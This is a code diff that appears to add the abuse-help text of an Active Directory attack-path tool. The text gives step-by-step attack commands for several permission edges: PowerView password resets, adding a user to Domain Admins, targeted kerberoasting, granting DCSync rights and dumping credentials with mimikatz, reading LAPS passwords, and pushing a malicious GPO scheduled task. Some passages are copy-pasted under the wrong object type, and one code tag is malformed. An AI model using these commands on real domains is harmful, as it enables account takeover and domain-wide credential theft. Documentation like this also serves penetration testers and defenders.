+            To abuse this privilege with PowerView's Set-DomainUserPassword, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainUserPassword, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+            <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+            $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+            Then create a secure string object for the password you want to set on the target user:
+
+            <code>$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force</code>
+
+            Finally, use Set-DomainUserPassword, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+            <code>Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred</code>
+
+            Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab.`;
+            formatted = text;
+        } else if (edge.label === "GenericAll") {
+            let text;
+            if (targetType === "Group") {
+                text = `Full control of a group allows you to directly modify group membership of the group. 
+
+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net group "Domain Admins" harmj0y /add /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember privilege. Additionally,  you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Add-DomainGroupMember, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainGroupMember, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred</code>
+
+                Finally, verify that the user was successfully added to the group with PowerView's Get-DomainGroupMember:
+
+                <code>Get-DomainGroupMember -Identity 'Domain Admins'</code>`;
+            } else if (targetType === "User") {
+                text = `Full control of a user allows you to modify properties of the user to perform a targeted kerberoast attack, and also grants the ability to reset the password of the user without knowing their current one.
+
+                <h4> Targeted Kerberoast </h4>
+                A targeted kerberoast attack can be performed using PowerView’s Set-DomainObject along with Get-DomainSPNTicket. 
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}</code>
+
+                After running this, you can use Get-DomainSPNTicket as follows:
+                    
+                <code>Get-DomainSPNTicket -Credential $Cred harmj0y | fl</code>
+
+                The recovered hash can be cracked offline using the tool of your choice. Cleanup of the ServicePrincipalName can be done with the Set-DomainObject command:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname</code>
+
+                <h4> Force Change Password </h4>
+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net user dfm.a Password123! /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Set-DomainUserPassword function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the ForceChangePassword privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Set-DomainUserPassword, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainUserPassword, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then create a secure string object for the password you want to set on the target user:
+
+                <code>$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force</code>
+
+                Finally, use Set-DomainUserPassword, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred</code>
+
+                Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab.`;
+            } else if (targetType === "Computer") {
+                text = `Full control of a computer object is abusable when the computer’s local admin account credential is controlled with LAPS. The clear-text password for the local administrator account is stored in an extended attribute on the computer object called ms-Mcs-AdmPwd. With full control of the computer object, you may have the ability to read this attribute, or grant yourself the ability to read the attribute by modifying the computer object’s security descriptor.`;
+            } else if (targetType === "Domain") {
+                text = `Full control of a domain object grants you both DS-Replication-Get-Changes as well as DS-Replication-Get-Changes-All rights. The combination of these rights allows you to perform the dcsync attack using mimikatz. To grab the credential of the user harmj0y using these rights:
+
+                <code>sekurlsa::dcsync /domain:testlab.local /user:harmj0y</code>`;
+            } else if (targetType === "GPO") {
+                text = `With full control of a GPO, you may make modifications to that GPO which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait at least 2 hours for the group policy client to pick up and execute the new evil policy. See the references tab for a more detailed write up on this abuse`;
+            }
+            formatted = text;
+        } else if (edge.label === "GenericWrite") {
+            let text;
+            if (targetType === "Group") {
+                text = `GenericWrite to a group allows you to directly modify group membership of the group.
+
+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net group "Domain Admins" harmj0y /add /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember privilege. Additionally,  you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Add-DomainGroupMember, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainGroupMember, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred</code>
+
+                Finally, verify that the user was successfully added to the group with PowerView's Get-DomainGroupMember:
+
+                <code>Get-DomainGroupMember -Identity 'Domain Admins'</code>`;
+            } else if (targetType === "User") {
+                text = `A targeted kerberoast attack can be performed using PowerView’s Set-DomainObject along with Get-DomainSPNTicket. 
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}</code>
+
+                After running this, you can use Get-DomainSPNTicket as follows:
+                    
+                <code>Get-DomainSPNTicket -Credential $Cred harmj0y | fl</>
+
+                The recovered hash can be cracked offline using the tool of your choice. Cleanup of the ServicePrincipalName can be done with the Set-DomainObject command:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname</code>`;
+            }
+            formatted = text;
+        } else if (edge.label === "Owns") {
+            let text;
+            if (targetType === "Group") {
+                text = `To abuse ownership of a group object, you may grant yourself the AddMember privilege. This can be accomplished using the Add-DomainObjectAcl function in PowerView.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Domain Admins" -Rights WriteMembers</code>
+                
+                You can now add members to the group using the net binary or PowerView's Add-DomainGroupMember.
+
+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net group "Domain Admins" harmj0y /add /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember privilege. Additionally,  you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Add-DomainGroupMember, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainGroupMember, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred</code>
+
+                Finally, verify that the user was successfully added to the group with PowerView's Get-DomainGroupMember:
+
+                <code>Get-DomainGroupMember -Identity 'Domain Admins'</code>
+
+                Cleanup for this can be done using Remove-DomainObjectAcl
+                
+                <code>Remove-DomainObjectAcl - Credential $cred -TargetIdentity "Domain Admins" -Rights WriteMembers</code>`;
+            } else if (targetType === "User") {
+                text = `To abuse ownership of a user object, you may grant yourself the GenericAll privilege. This can be accomplished using the Add-DomainObjectAcl function in PowerView.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All</code>
+                
+                <h4> Targeted Kerberoast </h4>
+                A targeted kerberoast attack can be performed using PowerView’s Set-DomainObject along with Get-DomainSPNTicket.
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}</code>
+
+                After running this, you can use Get-DomainSPNTicket as follows:
+                    
+                <code>Get-DomainSPNTicket -Credential $Cred harmj0y | fl</code>
+
+                The recovered hash can be cracked offline using the tool of your choice. Cleanup of the ServicePrincipalName can be done with the Set-DomainObject command:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname</code>
+
+                <h4> Force Change Password </h4>
+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net user dfm.a Password123! /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Set-DomainUserPassword function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the ForceChangePassword privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Set-DomainUserPassword, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainUserPassword, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then create a secure string object for the password you want to set on the target user:
+
+                <code>$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force</code>
+
+                Finally, use Set-DomainUserPassword, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred</code>
+
+                Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab.
+                
+                Cleanup of the added ACL can be performed with Remove-DomainObjectAcl:
+                
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All</code>`;
+            } else if (targetType === "Computer") {
+                text = `To abuse ownership of a computer object, you may grant yourself the GenericAll privilege.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All</code>
+                
+                Once you have granted yourself this privilege, you may read the ms-Ads-AdmPwd attribute on the computer object in LDAP which contains the local administrator password.
+                
+                Cleanup can be done using the Remove-DomainObjectAcl function:
+
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All</code>`;
+            } else if (targetType === "Domain") {
+                text = `To abuse ownership of a domain object, you may grant yourself the DcSync privileges.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync</code>
+                
+                Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain
+
+                <code>sekurlsa::dcsync /domain:testlab.local /user:Administrator</code>
+                
+                Cleanup can be done using the Remove-DomainObjectAcl function:
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync</code>`;
+            } else if (targetType === "GPO") {
+                text = `To abuse ownership of a domain object, you may grant yourself the DcSync privileges.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All</code>
+                
+                With full control of a GPO, you may make modifications to that GPO which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait at least 2 hours for the group policy client to pick up and execute the new evil policy. See the references tab for a more detailed write up on this abuse
+                
+                Cleanup can be done using the Remove-DomainObjectAcl function:
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All</code>`;
+            }
+            formatted = text;
+        } else if (edge.label === "WriteDacl") {
+            if (targetType === "Group") {
+                text = `To abuse WriteDacl to a user object, you may grant yourself the AddMember privilege. This can be accomplished using the Add-DomainObjectAcl function in PowerView.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Domain Admins" -Rights WriteMembers</code>
+                
+                You can now add members to the group using the net binary or PowerView's Add-DomainGroupMember.
+
+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net group "Domain Admins" harmj0y /add /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember privilege. Additionally,  you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Add-DomainGroupMember, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainGroupMember, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred</code>
+
+                Finally, verify that the user was successfully added to the group with PowerView's Get-DomainGroupMember:
+
+                <code>Get-DomainGroupMember -Identity 'Domain Admins'</code>
+
+                Cleanup for this can be done using Remove-DomainObjectAcl
+                
+                <code>Remove-DomainObjectAcl - Credential $cred -TargetIdentity "Domain Admins" -Rights WriteMembers</code>`;
+            } else if (targetType === "User") {
+                text = `To abuse WriteDacl to a user object, you may grant yourself the GenericAll privilege. This can be accomplished using the Add-DomainObjectAcl function in PowerView.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All</code>
+                
+                <h4> Targeted Kerberoast </h4>
+                A targeted kerberoast attack can be performed using PowerView’s Set-DomainObject along with Get-DomainSPNTicket.
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}</code>
+
+                After running this, you can use Get-DomainSPNTicket as follows:
+                    
+                <code>Get-DomainSPNTicket -Credential $Cred harmj0y | fl</code>
+
+                The recovered hash can be cracked offline using the tool of your choice. Cleanup of the ServicePrincipalName can be done with the Set-DomainObject command:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname</code>
+
+                <h4> Force Change Password </h4>
+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net user dfm.a Password123! /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Set-DomainUserPassword function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the ForceChangePassword privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Set-DomainUserPassword, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainUserPassword, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then create a secure string object for the password you want to set on the target user:
+
+                <code>$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force</code>
+
+                Finally, use Set-DomainUserPassword, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred</code>
+
+                Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab.
+                
+                Cleanup of the added ACL can be performed with Remove-DomainObjectAcl:
+                
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All</code>`;
+            } else if (targetType === "Computer") {
+                text = `To abuse WriteDacl to a computer object, you may grant yourself the GenericAll privilege.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All</code>
+                
+                Once you have granted yourself this privilege, you may read the ms-Ads-AdmPwd attribute on the computer object in LDAP which contains the local administrator password.
+                
+                Cleanup can be done using the Remove-DomainObjectAcl function:
+
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All</code>`;
+            } else if (targetType === "Domain") {
+                text = `To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync</code>
+                
+                Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain
+
+                <code>sekurlsa::dcsync /domain:testlab.local /user:Administrator</code>
+                
+                Cleanup can be done using the Remove-DomainObjectAcl function:
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync</code>`;
+            } else if (targetType === "GPO") {
+                text = `To abuse WriteDacl to a GPO object, you may grant yourself the GenericAll privilege.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All</code>
+                
+                With full control of a GPO, you may make modifications to that GPO which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait at least 2 hours for the group policy client to pick up and execute the new evil policy. See the references tab for a more detailed write up on this abuse
+                
+                Cleanup can be done using the Remove-DomainObjectAcl function:
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All</code>`;
+            }
+            formatted = text;
+        } else if (edge.label === "WriteOwner") {
+            let text;
+            if (targetType === "Group") {
+                text = `To change the ownership of the object, you may use the Set-DomainObjectOwner function in PowerView.
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObjectOwner, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObjectOwner, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Set-DomainObjectOwner -Credential $Cred -TargetIdentity "Domain Admins" -OwnerIdentity harmj0y</code>
+
+                To abuse ownership of a user object, you may grant yourself the AddMember privilege. This can be accomplished using the Add-DomainObjectAcl function in PowerView.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Domain Admins" -Rights WriteMembers</code>
+                
+                You can now add members to the group using the net binary or PowerView's Add-DomainGroupMember.
+
